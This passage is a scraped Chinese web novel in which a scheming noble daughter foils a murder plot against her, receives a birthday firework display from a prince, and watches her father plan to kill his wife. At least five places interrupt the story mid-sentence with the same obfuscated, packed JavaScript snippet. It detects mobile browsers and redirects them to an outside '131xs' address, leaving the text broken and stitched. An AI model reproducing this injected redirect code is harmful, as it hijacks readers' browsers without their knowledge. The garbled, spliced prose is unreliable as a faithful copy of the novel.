晏逐星并未气馁,继续试探:“我还以为此事和大舅母有关呢。毕竟二妹妹和表哥的事情,惹恼了大舅母……”
定远侯眉心皱得更紧了:“行了。莫要乱猜了,与你大舅母无关,是她命不好。”
这时,外边的小丫鬟敲门通传:“侯爷,阮姨娘来了,要见您。”
“行了,你走吧。”定远侯听到阮寄薇来了,直接将晏逐星赶走。
“是,女儿告退。”晏逐星等的就是阮寄薇。
既然晏明月之死打探不出什么东西,那就不浪费时间了。
她还有更重要的事情要做。
她走到门外,与阮寄薇擦肩而过时,压低声音询问:“你腹中的胎象可稳?”
“小姐放心,这个秘药是我托人去找妈妈要的。可保三个月的脉象。”阮寄薇顿了顿脚步,轻声回应。
而后她便端着汤快步进了书房,挤到了定远侯身边。
“侯爷,您为了二小姐的事情已经操碎了心,赶紧吃点东西吧,可别把身子给累垮了。”
“你既有了身孕,还做这些粗使活计做什么。”定远侯心疼地接过她手里的汤。
“给侯爷炖汤,薇薇心中没有累,只有欢喜。”阮寄薇依偎到他怀里撒娇。
晏逐星看不得这黏黏糊糊的场景,抖了抖身上的鸡皮疙瘩,赶紧快步离开。
她刚回到玉澜院,就看见了一脸凝重的衔蝉迎了上来。
“出什么事了?”晏逐星将她领到了屋子里。
“两件事。”衔蝉快速回禀。
“第一件事,谢锦程派人去找刘芳草,要抢走孩子。刘芳草不从,对方竟然要将她们母女杀了。裴大人及时赶到,抓了个人赃俱获。”
晏逐星在心底嗤笑。
什么及时赶到,恐怕这就是他提前给谢锦程布的局。
“那第二件事呢?”她又问。
衔蝉回禀:“夫人身边的李嬷嬷鬼鬼祟祟的出门了,我去管家那儿打听了一下,得知她拿了出城的文书。已经让九栀去追她了。”
“嗯,做得很好。”晏逐星点头称赞。
这个时候,都快要关城门了,李氏究竟要去哪里?
约莫过了一个时辰,九栀回来了,还将打晕的李嬷嬷塞到了筐子里,当做采买的河鱼抬了回来。
“弄醒她。”晏逐星沉声吩咐。
大冬天的,李氏被一盆冷水泼醒。
她下意识地打了个寒噤。
闻到身上的鱼腥味,她有些嫌弃地想要捂住鼻子,这才发现自己被捆住了。
她抬头一看,发现晏逐星正在眼前。
她顿时变了脸色。
“大小姐,您,您这是做什么?”她的语气里透露着一股心虚。
“温如霜让你出城做什么?”晏逐星面无表情地询问。
“今年庄子的收成不对劲,夫人命我去看一看。”李氏将编造好的借口说了出来。
“不说实话是吧?我可没什么耐心。”晏逐星眉头一挑。
衔蝉忙道:“大小姐,交给我,我可以!”
虽然她如今已经是大小姐的人。
但她总觉得大小姐对九栀和双鲤更为亲近。
她也想变成大小姐的“自己人”。
所以如今要审问李氏,她第一个就站了出来。
她想让大小姐知道,她很有用。
“好,那就交给你了。”晏逐星果断地退出了柴房。
衔蝉学着从王府那边偷师而来的招式,用针从李氏的指甲盖缝隙处扎进去,疼得要人命,但又看不出明显的伤口。
才扎了两根手指,李氏就全招了。
“我说,我全都说。”
“夫人让我去庄子上寻赵大,给他一笔钱,让他去寻一高手,杀了、杀了……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681483|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>李氏忽然支支吾吾了起来。
“杀谁?”晏逐星有些好奇。
难不成温如霜想买**了阮寄薇,好让那个孩子无法出生?
李氏看了她一眼,没吭声。
晏逐星后知后觉地伸手指了指自己的脸:“我啊?”
李氏点点头。
晏逐星轻笑一声:“李嬷嬷,不知道夫人给了你多少买命钱啊。”
“夫人给了我二百两银票,让我务必找到人将您除之后快。大小姐,您饶了我吧,我也是听命行事。”李氏哭着求饶。
晏逐星“啧”了一声:“所以在温如霜眼里,我只值二百两银子啊?”
李氏不知道该怎么回答这句话,干脆低下了头。
“银票呢?”晏逐星又问。
“路上丢了。”李氏赶忙回答。
事情已经败露,而她又背叛了夫人。
若是那二百两银子也保不住,她可就全完了。
晏逐星一看她的眼神,就知道她在撒谎。
她冷笑道:“不说实话是吧?你们先前怎么撬开她的嘴的,给我演示一遍。”
“好呀。”九栀当即点头答应,语气带着一丝雀跃。
先前看衔蝉用那一招审讯,她就很想试一试,只可惜这个李氏是个软骨头,才两根手指就受不住了。
原本她想和衔蝉商议,一人扎五根手指的。
见她拿着闪闪发光的银针过来,李氏想起了先前惨痛的经历,连忙大叫:“在裤裆里!”
那种钻心的痛,她再也不想再体会第二遍了。
“你急什么呀。”九栀嘀咕着收起了针。
她还没试过给人扎针呢。
在晏逐星的示意下,她解开了捆着的李氏。
李氏扭扭捏捏地脱下了裤子,将缝在裤裆隔层里的银票掏了出来。
“这么多银钱,路途有些远,老奴怕丢了,所以就,就……”
她没说完,晏逐星就直接没收了那二百两银票。
她将其中一张银票给了九栀。
“这一百两,你和衔蝉分了吧。今日辛苦你们了。”
九栀和衔蝉同时露出了惊喜的笑容,忙不迭点头:“多谢大小姐。”
而后,晏逐星皮笑肉不笑地盯着李氏。
“行了,你在这呆一夜,明日再回去复命。回去之后该怎么说你知道的吧?我不为难你,你也不要自找麻烦。”
“老奴一定守口如瓶。”李氏哭丧着一张脸点头。
事情没办成,银钱也丢了,还不能让夫人知道此事。
不然她的家里人恐怕就不保了。
她真是白忙活了一场。
九栀看守了李氏一整晚,翌日才将她放走。
“就这么放她走了吗?”九栀有些不解。
晏逐星一夜好眠,她伸了个懒腰,笑着回应道:“无妨,反正很快都要变成**了。”
她原本不想那么快就杀了温如霜的。
既然她等不及要见阎王,那她也就不拦着了。
她现在**,晏明远和晏明修就要守孝,设计起他们来就更方便了。
晏逐星的心里已经有了一个完整的计划。
这一次,她要借刀**。
而定远侯,就是那把最锋利的刀。
第92章 永安王生辰
御书房里。
谢锦程和裴明镜四目相对,谢锦程的眼眸里几乎要喷出火来。
裴明镜是疯狗吗,怎么咬着他不放。
他宠幸那些贱民,是他们的福气,他都给了他们银子了,他们还想怎么样。
裴明镜无视了他憎恨的目光,不紧不慢道:“皇上,以上就是微臣调查的全部事情经过。证据确凿,谢锦程**民妇、意图**灭口一罪属实。请皇上发落。”
昨日他抓到的那批人,都不如王府管家**的骨头硬,他都没上重刑,他们就全都吐口了。
再加上有刘芳草的证词,谢锦程这回怕是很难再将自己摘出去。
因而没有将此案交由刑部和大理寺,直接上达天听,告知了皇上。
谢锦程瞧见人证物证俱全,整张脸都变得有些扭曲了,**该怎么狡辩。
这时,昭瑞亲王急忙赶来了。
他想知道刘芳草生下的女儿究竟是不是谢锦程的亲生骨肉。
毕竟那很可能是谢锦程唯一的孩子。
“皇上,此中恐怕有什么误会……”他还没来得及看罪证,就替孙儿喊冤。
文昭帝阴沉着一张脸。
今日可是石头的生辰,他一早下了朝,就想赶紧去未央宫,跟皇后一块为儿子准备生辰礼,结果却被裴明镜拦下了。
他这才知道谢锦程竟然在外为非作歹了那么久。
他本想快点将此案结束,没想到昭瑞亲王又来喊冤了。
“严喜,将裴大人提供的证据让昭瑞亲王瞧瞧。”文昭帝冷着脸开口。
昭瑞亲王心头陡然一沉。
皇上往日都是亲切地称呼他皇伯父,今日竟然直接点了他的封号,看来是真的动怒了。
他不敢多言,迅速翻阅起了裴明镜提供的罪证,看到最后,他额头上已经布满了细细密密的汗珠。
“是老臣教导无方。”他“扑通”跪下请罪。
“但锦程还是个孩子,且如今又经历了那样的惨事,还请皇上从轻发落啊。”
谢锦程听到祖父都认罪了,脸色煞白,知道这一次肯定逃不过了。
文昭帝嫌恶地扫了这两祖孙一眼,冷冷道:“谢锦程强抢民妇,纵奴杖杀无辜,私德尽丧,禽兽不如。”
他每点评一个词,昭瑞亲王祖孙二人的脑袋就垂得更低,身子抖得也更厉害。
文昭帝冷着脸一字一句地说出了最终的判决:
“褫夺谢锦程宗籍,贬其为庶人,圈禁昭瑞亲王府,终身不得外出。昭瑞亲王一脉,永绝嗣爵之权!”
话音落地,昭瑞亲王两眼一黑。
完了,这下全完了。
王府百年基业,毁于一旦啊!!!
*
今日是谢翊宁的生辰,但他并没有什么特别的感觉。
一大早永安王府就络绎不绝地来了不少人。
父皇和母后流水般地赏赐了他不少东西,显然没把他那日说得不要大操大办放在心上。
有了父皇母后的赏赐在前,没过多久,宫中的各位娘娘还有皇兄皇姐们,都命人送来了贺礼。
谢翊宁懒得去看,横竖不过是那些他看腻了的东西。
他窝在躺椅上闲适地翻阅着游记,让管家将东西都收到了库房里。
“王爷,您尝尝,这是皇后娘娘一大早就起来给您做的点心,保准您会喜欢。等晚些时候,您入宫了,皇后娘娘还给您准备了新的惊喜。”吴嬷嬷笑着递来了一盘香甜的豌豆黄。
听到是母后亲手做的,谢翊宁总算给了一点面子,起身尝了一口。
“我确实喜欢。”谢翊宁满意地点了点头,“入口即化,清甜不腻,细腻绵密。母后的手艺简直比御膳房的大厨们还好。”
吴嬷嬷笑得愈发灿烂:“皇后娘娘若是听到您这么高的夸奖,定然高兴得整晚都睡不着觉了。”
谢翊宁扫了一眼剩下的糕点,发现里边还有一碟子芙蓉酥。
他一瞬间就想起了冰嬉宴上,晏逐星入宫时陪在母后身边,小口小口吃着芙蓉酥的模样。
当时他忽然出现,似乎将她吓到了,她还把芙蓉酥捏掉了一块碎渣。
她似乎很喜欢吃这玩意。
谢翊宁将照夜叫了过来,吩咐道:“把芙蓉酥送到定远侯府给晏大小姐,就当是腊八粥的回礼了。”
“是。”照夜立刻端上芙蓉酥就送去了定远侯府。
一旁的吴嬷嬷惊讶得眼睛都瞪圆了。
她好像发现了什么了不得的大秘密。
*
晏逐星收到永安王府送来的芙蓉酥,一时间有些懵。
得知这是腊八粥的回礼,她便收下了。
尝了一块后,便将衔蝉几人也叫了过来。
“王爷赏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686823|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的芙蓉酥,你们也尝尝。”
“多谢小姐。”三人高高兴兴道谢,一人拿了一块芙蓉酥。。
“这宫里做的芙蓉酥就是好吃!”衔蝉忍不住夸赞道。
“这不是永安王府送来的么?怎么会是宫里的。”双鲤有些疑惑。
衔蝉摇头道:“不一样。外边做的芙蓉酥都没有宫里的好吃。有一回,我跟着嬷嬷去了宫里,贵人赏过我们一份,听说糖霜都是御厨秘制的,外头的根本比不了。”
晏逐星越听越疑惑了。
好端端的永安王特意入宫要一份糕点送给她做什么。
难不成回礼只是借口,实际上这糕点暗藏玄机,永安王有话要对她说?
她赶忙叫住了几人,将剩下的芙蓉酥拿了回来,掰开揉碎地查看,发现里边除了馅料什么也没有。
压根就没有她想象的小纸条。
一旁的衔蝉见她把糕点弄得粉碎,有些心疼地开口:“小姐,您这是在做什么?”
晏逐星有些讪讪地解释:“我以为王爷有事要我去办。”
她还以为永安王是听了她那日表忠心的话——“今后若有用得着我的地方,王爷尽可差遣。”
她没想到永安王竟然真的只是单纯给她送了份芙蓉酥。
衔蝉愣了片刻,反应过来她说的是什么,顿时有些哭笑不得。
“您可是侯府千金,王爷哪会让您去办事呀。今日是王爷的十八岁生辰,想必这是宫里皇后娘娘赏赐的糕点。王爷想着回礼,就命人送来了。”
晏逐星“啊”了一声。
原来今日是永安王的生辰啊。
难不成今日他送糕点来,是想提醒她给他送生辰礼?
这么仓促,她一时不知该送什么好。
再说了,永安王可是帝后最宠爱的孩子,宫里什么好东西都紧着他挑,连太子也未必及得上。
她手里最珍贵的,不过是皇后娘娘赏赐的那些物件,可他哪里会缺这些。
能送他什么呢?
晏逐星犯了难。
不过,给定远侯和温如霜的大礼,她倒是准备好了。
晏逐星起身,吩咐道:“替我梳妆,我要见父亲。”
她决定先把这事办了,再去琢磨给谢翊宁送什么生辰礼。
于情于理,他帮过她那么多次,不管贵重与否,这份生辰礼总该送上。
第94章 特别的礼物
晏逐星离开定远侯府,打算去街上挑挑看,有没有什么好东西可以给谢翊宁当生辰礼。
贵重的东西她是拿不出来了,只能取巧,选一些谢翊宁没见过的小玩意当礼物。
毕竟,礼轻情意重嘛。
可满大街的转悠了半天,她都觉得不合适,没什么能拿得出手的。
见她发愁,衔蝉提议道:“小姐,要不您亲手给王爷做一份长寿面吧?”
晏逐星一愣,觉得这个主意似乎也不错。
“可王爷会缺一碗长寿面么?王府后厨定然会替他准备吧。”
说完她便摇了摇头。
她的手艺,哪里比得上王府的大厨。
就在她纠结之际,转身忽然看到了一个小摊子。
她顿时眼前一亮。
有了,她知道可以给永安王送什么了!
*
谢翊宁整理了衣冠,准备入宫陪父皇母后一块用膳。
正欲出门,就见停云快步走过来禀报:“王爷,晏大小姐来了。”
“她怎么来了?”谢翊宁有些疑惑,随后随意地摆了摆手,“将她请进来吧。”
“是。”
不一会儿,晏逐星就被领进了永安王府。
虽是深冬,王府里却不见半点萧条。
昨夜刚落下的薄雪覆盖着飞檐斗拱上的琉璃瓦,衬着朱红的廊柱,显得格外气派。
跟着引路的侍女穿过长廊,晏逐星简直看花了眼。
两人高的**树、汉白玉雕的栏杆、难得一见的珍贵腊梅……每一样都让她惊叹不已。
她在心底暗暗感慨,谢翊宁不愧是帝后视若珍宝的心头肉,恐怕全大虞的奇珍异宝、稀罕物件都堆在了永安王的府邸之中。
她低头看了一眼手中的藤编小提篮,忽然感到有些难为情。
她送的这份礼物似乎有些太寒酸了,与王府的富丽堂皇,似乎显得格格不入。
“见过王爷。”
侍女的声音让晏逐星回神,她下意识地将东西藏到了身后,跟着行礼。
“参见永安王。”
她的小动作哪里逃得过谢翊宁的眼神。
“藏什么呢?”他有些好奇。
晏逐星有些尴尬地开口:“听说今天是王爷生辰,您赏了我芙蓉酥,我就想着也该给您备份生辰礼。”
“哦?”谢翊宁来了兴致,“拿给本王瞧瞧。”
他确实有点好奇。
除了宫中的娘娘和皇姐皇妹,还从没有其他女子给他送过生辰礼。
她会送他什么呢?
晏逐星迟疑着要不要拿出来。
见她面露为难,谢翊宁反倒更好奇了。
“怎么,又不想送本王礼物了?”谢翊宁挑眉看向她。
来都来了,晏逐星决定豁出去了。
她将身后的小提篮双手奉上。
“一点心意,恭贺王爷芳辰。愿您身康体健,顺遂无忧,福泽绵长。年年有今日,岁岁有今朝。”
谢翊宁盯着面前盖着红绸的小提篮,好奇地伸手一掀。
红绸滑落,里面露出的竟是一幅晶莹剔透的糖画。
更让他没想到的是,那糖画勾勒的赫然是他当年单枪匹马与黑熊搏斗的惊险场景。
熊的凶猛、人的矫健,甚至连他脸上那股不服输的狠劲儿,竟然都画得栩栩如生。
晏逐星见他目光凝住,赶忙解释道:“王爷恕罪!我曾听闻……”
她顿了一下,似乎在斟酌词句。
“听闻您当初曾在围场单枪匹马勇斗黑熊,您的胆识气魄令我佩服不已。这糖画,便是想将王爷这份英姿留驻下来。手艺粗陋,让王爷见笑了。”
先前她路过一个糖画摊子,灵机一动,琢磨着把可以这糖画当做生辰礼送给谢翊宁。
她寻思着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686825|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
按他这样尊贵的身份,想必从未尝过这种市井小食的滋味。
可转念一想,普通的糖画未免太显敷衍。
于是她借来纸笔,按着想象勾勒出他当年与黑熊搏斗的惊险一幕,再请那手艺人照着画稿浇制了出来。
她忐忑地偷偷瞄了一眼谢翊宁。
这份生辰礼,也不知道永安王会不会嫌弃。
谢翊宁盯着那糖画看了片刻后,展颜一笑道:“你的生辰礼,本王很喜欢。”
那笑意如同冬日薄云后骤然破出的暖阳,瞬间融化了周遭的清冷。
晏逐星悬着的心总算放了下来。
“王爷喜欢就好。”她也露出了浅浅的笑。
“你有什么心愿吗?”谢翊宁忽然开口。
晏逐星一愣,没反应过来他为什么忽然问这个问题。
“本王头一回收到这么特别的礼物,允你一个心愿,算是谢礼。”谢翊宁解释道。
晏逐星想说她的心愿是想让定远侯府那些人都死绝。
但这话肯定不能说出口。
她摇头道:“我给王爷送生辰礼,并没有想着要什么谢礼。”
“若你必须要一个呢?”谢翊宁穷追不舍。
他主要是怕待会入宫,父皇母后会一直逼问他,他实在是想不出有什么想要的。
倒不如参考一下晏逐星的心愿。
她送礼都能送得那么别出心裁,想必要礼物应该也能要得清新脱俗。
晏逐星:“……”
还真没见过强行送礼的。
见谢翊宁一脸期待和认真,晏逐星仔细思索了起来。
忽然,她脑海里闪过一个恶劣的想法。
晏明月**,她在侯府里不好光明正大地庆祝。
倒不如借着这个机会去温如霜面前炫耀。
她眼睛弯成了月牙,笑着看向了谢翊宁,坚定地说出了自己的心愿。
第95章 岂不是食言
“王爷,我想看一场盛大的烟火。”
“烟火?”谢翊宁一愣。
随即觉得这倒是个不错的主意。
往常只有过年和元宵节之时,朝廷才会放烟火。
他提出这个要求,既能满足父皇母后声势浩大为他庆生的心愿,又能让百姓们跟着高兴高兴。
何乐而不为呢。
“好,你的心愿,本王应下了。”谢翊宁爽快地答应了下来。
“多谢王爷。”
礼物送到,谢翊宁要入宫,晏逐星便打道回府。
回来之后,她收到了阮寄薇命人送来的如意糕。
她心下顿时明了。
如意糕,事情已经如她心意办成了。
之后她要做的就是——耐心等下去。
等到定远侯出手。
*
谢翊宁步入未央宫。
父皇母后早已备好丰盛的佳肴等着他,太子领着太子妃与两个女儿也来了。
谢翊宁松了一口气。
看来父皇母后还是把他的话放心上了。
没让满后宫的人都来给他庆贺,只请了血肉至亲。
“石头,你可想好今年想要什么生辰礼物了么?”文昭帝和崔皇后都一脸期待地看着儿子。
“想好了。儿臣想看一场烟火,让百姓们与儿臣同乐。”谢翊宁毫不犹豫地回答。
“看烟火?”皇后一愣。
“此物现下准备恐怕来不及了。还有两个时辰,天就要黑了。”
她脸上闪过一丝愧疚。
儿子难得提出一个想要的生辰礼,她竟然没办法满足。
一旁的文昭帝赶忙道:“来得及,怎么会来不及。御前应奉所那么早就在备着过年时候的烟火了,如今提前支取一部分应当也是没问题的。”
不等旁人反对,他即刻下令。
“传朕旨意,命御前应奉所即刻呈送百架烟火至承天门。新研制的百丈灯若有成品,一并速速送去。”
“多谢父皇。”谢翊宁笑着道谢。
“皇祖父,所以今夜是可以看烟火吗?”太子的嫡长女谢令嘉惊喜地看了过来。
“是。”文昭帝乐呵呵地点头。
太子妃沈清梧笑着摸了摸女儿的脑袋:“托了你永安王叔的福,不然我们可看不到这么漂亮的烟火。”
“多谢永安王叔。”四岁的谢令嘉奶里奶气地冲谢翊宁道谢。
然后又将自己脖子上的一个金貔貅摘了下来,递给他。
“令嘉恭贺永安王叔生辰快乐。”
“那王叔就收下啦,多谢我们小令嘉。”谢翊宁笑着捏了她的小脸蛋。
“哟,我们令嘉今日这么大方呢。上回皇祖母问你要这金貔貅,你可不舍得。怎么现在就给了你永安王叔?”皇后调侃道。
谢令嘉有些不好意思地缩回了母妃的怀里,捂着小脸眨巴着眼睛道:“不一样嘛,永安王叔头一回过生辰,总要有所表示嘛。”
这话把在场的人逗笑了,殿内一片笑声。
笑过之后,文昭帝与皇后对视一眼,心中满是酸楚。
上一回给石头过生辰,还是他一周岁的时候。
如今眨眼间十七年就过去了。
孩子已经十
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693959|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
八岁了。
幸好,老天开了眼,让石头摆脱了活不过及冠的诅咒。
只是,一日未过石头二十岁的生辰,他们依旧是不敢掉以轻心。
但今日这大喜的日子,谁也不会提这个事情,于是一家子和乐融融地吃了一顿饭。
期间谢令嘉往外跑了无数次,询问了谢翊宁好几回。
“永安王叔,烟火送到了吗?”
“永安王叔,我们可以看烟火了吗?”
最后问得谢翊宁都不耐烦了,直接把小家伙抱起来架在肩膀上。
“走,王叔带你看烟火去!”
“好耶!”谢令嘉兴奋地直拍手。
承天门外,一百架烟火整整齐齐地摆在了一起。
除去他们之外,后宫昭仪以上位份的妃嫔,以及皇子公主,都来了。
“父皇对七皇兄可真好。”六公主谢妙酸溜溜地开口。
不过是过个生辰,竟然大动干戈地放烟火庆贺。
五公主谢娇嗤笑一声:“你若是从皇后娘娘肚子里爬出来的,父皇也会对你好。”
谢妙的脸瞬间涨得通红。
她的生母不过是一个小宫女,五皇姐这话就是赤裸裸地在嘲笑她的出身。
但她还要在苏昭仪和五皇姐手底下讨生活,她不敢顶撞她,只得尴尬一笑,算是附和。
站在最前边的谢翊宁并不知道自己的皇妹们都说了什么。
他抱着谢令嘉,脑海里想的全是晏逐星。
也不知道在这放,她能不能看到这场烟火?
她若看不到,那他岂不是食言了。
第96章 杀心被察觉
“砰——”
天空忽然传来一声巨响。
晏逐星抬头望去,是皇宫的方向。
只见一点火光急速蹿升,随即在天空中轰然炸开。刹那间,一朵巨大的金菊怒放开来,炽烈的光芒瞬间照亮了半座皇城。
“哇!是宫里放的烟火!好漂亮啊!”双鲤激动地扯住衔蝉的袖子,指着天空惊呼。
晏逐星怔住了。
她没有想到谢翊宁口中允诺的心愿,竟然真的实现了。
“走,将母亲请出来,一块看烟火。”她勾起了唇角,欢快地走去了温如霜的院子。
“你来做什么?”温如霜也听到了皇宫中传来的烟火炸响声,但她万万没想到,晏逐星竟然敢来。
“陪母亲看烟火呀。”晏逐星当即指挥人把她搬了出来。
“我不去,你们休要动我!”温如霜大吼了起来。
下人们一时间不敢乱动,目光在两人身上来回扫视。
晏逐星摆摆手,示意众人退后。
她上前一步,凑到温如霜耳边,低声笑道:“晏明月**,这么大的喜事,难道不该放场烟花庆祝一下?”
温如霜脸色骤然惨白如纸。
“还有你那宝贝儿子,瞎了一只眼,这不更该普天同庆了吗?他那样的祸害,**都算便宜他。”晏逐星继续刺激她,嘴角噙着大仇得报的快意。
“住嘴——!小**,你给我住嘴!”温如霜目眦欲裂,上身剧烈一晃,她用一只手死死捂住嘴,却挡不住喉间那股翻涌而上的腥甜。
“噗。”
她被晏逐星硬生生地逼得吐出了一口血。
下人们顿时惊慌失措地围了上来。
晏逐星一连退后好几步,捂着唇惊呼出声:“母亲,您怎么了?”
“我知晓二妹妹的事让您痛彻心扉。可女儿也是一片孝心啊!我不过是想陪您看看烟火,盼着能为您稍稍排解心中的苦闷忧愁,您怎么就吐血了?”
听着她颠倒黑白的话语,温如霜气得眼前发黑,两眼一翻就晕了过去。
晏逐星唇角微微上翘。
她就喜欢温如霜看不惯她又干不掉她的样子。
任凭院子里兵荒马乱,她依旧巍然不动。
她仰起头,贪婪地欣赏着夜空中为她绽放的绚烂,唇边的笑意愈发璀璨。
这是第一次有人这样重视她的心愿。
这一刻,前世抱憾而亡的痛苦,今生如履薄冰的复仇,都在震耳欲聋的轰鸣和漫天流泻的烟火中被渐渐抚平。
谢翊宁,多谢。
她在心中默默对他道谢。
温如霜这个当家主母晕倒后,下人们自然要去禀告定远侯。
定远侯过来时,温如霜已经苏醒,空中的烟火也早已结束。
只有晏逐星还守在床边,扮做一个乖巧孝顺的好女儿。
温如霜狠狠怒视着她,声嘶力竭地大喊道:“我一定会杀了你,一定!”
定远侯踏进院子,听到这话,当即呵斥道:“住嘴!有你这么当母亲的么。”
“你知不知道她今日来做了什么?!”温如霜委屈得眼泪瞬间涌了出来。
“我只是看到宫里放烟火,想让母亲开心一点,特意过来陪她一块看。”晏逐星赶忙开口。
温如霜哭,她就哭得更厉害。
她一抖一抖地继续道:“上一回咱们一家人一块看烟火,都是五年前了。”
温如霜没想到她抢先一步告了状,大吼道:“你胡说,你分明是幸灾乐祸,故意来气我的,你就是想把我气死。”
定远侯听到这话,心念一动。
气死?
似乎也是一个不错的选项。
只是气死嫡母这个名头,不能让晏逐星担了。
他还指望着她高嫁,能助他一臂之力呢。
定远侯理都没理温如霜,而是转身看向其他人:“行了,夫人这不是醒了么,下回不是特别紧急的事情不用叫我。直接请大夫就行。”
他就差没直说,没死就别通知他了。
温如霜所有血液仿佛瞬间倒流,直冲头顶,她猝然抬眼看向定远侯,仿佛第一次认清眼前的男人是个什么狼心狗肺的东西。
随后定远侯又看向晏逐星:“星儿,走吧,你母亲久病难免心情烦躁,误会你了。你还是不要留在这了。”
“是。”晏逐星赶忙跟着他一块离开。
定远侯那彻骨的冷酷,让温如霜彻底死心了。
她咬紧牙关,齿缝间几乎渗出血腥味,才硬生生将脑海里的眩晕强压下去。
她死死抓着李氏的手,眼里的恨意倾泻而出:“人呢,我让你找的人呢,什么时候能把晏逐星那个**给除掉!!!”
李氏眼里闪过一丝惊慌,她垂眸道:“已经让赵大去找人了,约莫也就这几日了。只要大小姐出门,定然逃不掉的。”
听到她这么说,温如霜心头的怒火才勉强压下几分。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693960|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“备笔墨纸砚!”她声音嘶哑,带着一种破釜沉舟的决绝。
“我要给大哥写信。他若再不来京城,晏鸿升那个混账,是真要逼死我了。”提及定远侯,她那被强行压下的怒火瞬间复燃。
李氏赶忙应下,将文房四宝送了过来。
这个时候只要不提大小姐的事,夫人想做什么都好。
温如霜强撑着病体,用尽全身力气,终于将信写完。
她仔细封好,郑重交予李氏:“务必悄悄送去驿站,快马加鞭送回青州!”
李氏当即应下。
只是她们都没想到,这封信还没送出侯府,就落到了定远侯的手里。
定远侯握着那封被拦截下来的信,迅速拆开。
扫了一遍信上的内容,他眉心一凛。
目光落在了那一句——
“晏鸿升杀心已起。其言语间流露出许多不耐烦,几乎视我为眼中钉、肉中刺。恐怕日后会为一己之私欲,行那丧尽天良之事。我命危矣,恳请大哥速速入京。”
一股被戳穿心思的暴戾之气瞬间涌上心头。
晏鸿升下意识地用力,几乎要将信纸捏碎。
他没想到温如霜竟然那么敏锐。
他不过刚起杀心,她竟然就察觉了。
他走到窗边,望着沉沉夜色陷入沉思。
温如霜的大哥年后便将赴京就任工部尚书,那可是手握实权的朝廷重臣。一旦他抵京,温如霜便有了最硬的倚仗。
这么看来,留给他料理温如霜的时间,不多了。
他必须想到一个两全其美的法子。
和离是绝对不行的。
他的嫡女刚死,嫡子又落下了残疾,侯府声望本就受损。
若此时强行与温如霜和离,日后他再娶骆文缨,就等于昭告天下他攀附权贵抛弃发妻。到时候一定会被骂得狗血淋头。
温家人也不会放过他。
但温如霜若是意外身亡,他就能扮演深情丈夫,续弦就成了不得已而为之。
温如霜活着,骆文缨嫁给他便要背负“逼走病妻”的恶名;温如霜病逝,骆文缨就有了“续弦扶正”的体面。
因此,温如霜必须死。
哪一种死法最快、最干净?
哪一种死法最能让温家人即便来了,也抓不到丝毫把柄,只能接受“温如霜福薄早亡”的“事实”?
定远侯在书房里来回踱步,思索良久,枯坐到天明后终于想出了一个好办法。
第97章 杀了他陪葬
得知定远侯书房的油灯亮了一整夜。
晏逐星便知道他杀心已动。
毕竟他一个闲散侯爷,素日里最是疏懒,又没什么公务要处理,怎么可能在书房熬一整个通宵。
能让他这么费心思琢磨一整晚的事,除了怎么弄死温如霜,没别的可能。
她只需要静观其变就好。
不过,定远侯府这趟浑水倒是可以搅得再乱一些。
她当即命人将谢锦程被贬为庶人、幽禁于王府终身不得出的消息,透露给了晏明修。
晏明修的小厮拿了她的银钱,如今已经成了她的眼线,因此不遗余力地在晏明修近旁说起谢锦程的事,意图挑起晏明修的恨意。
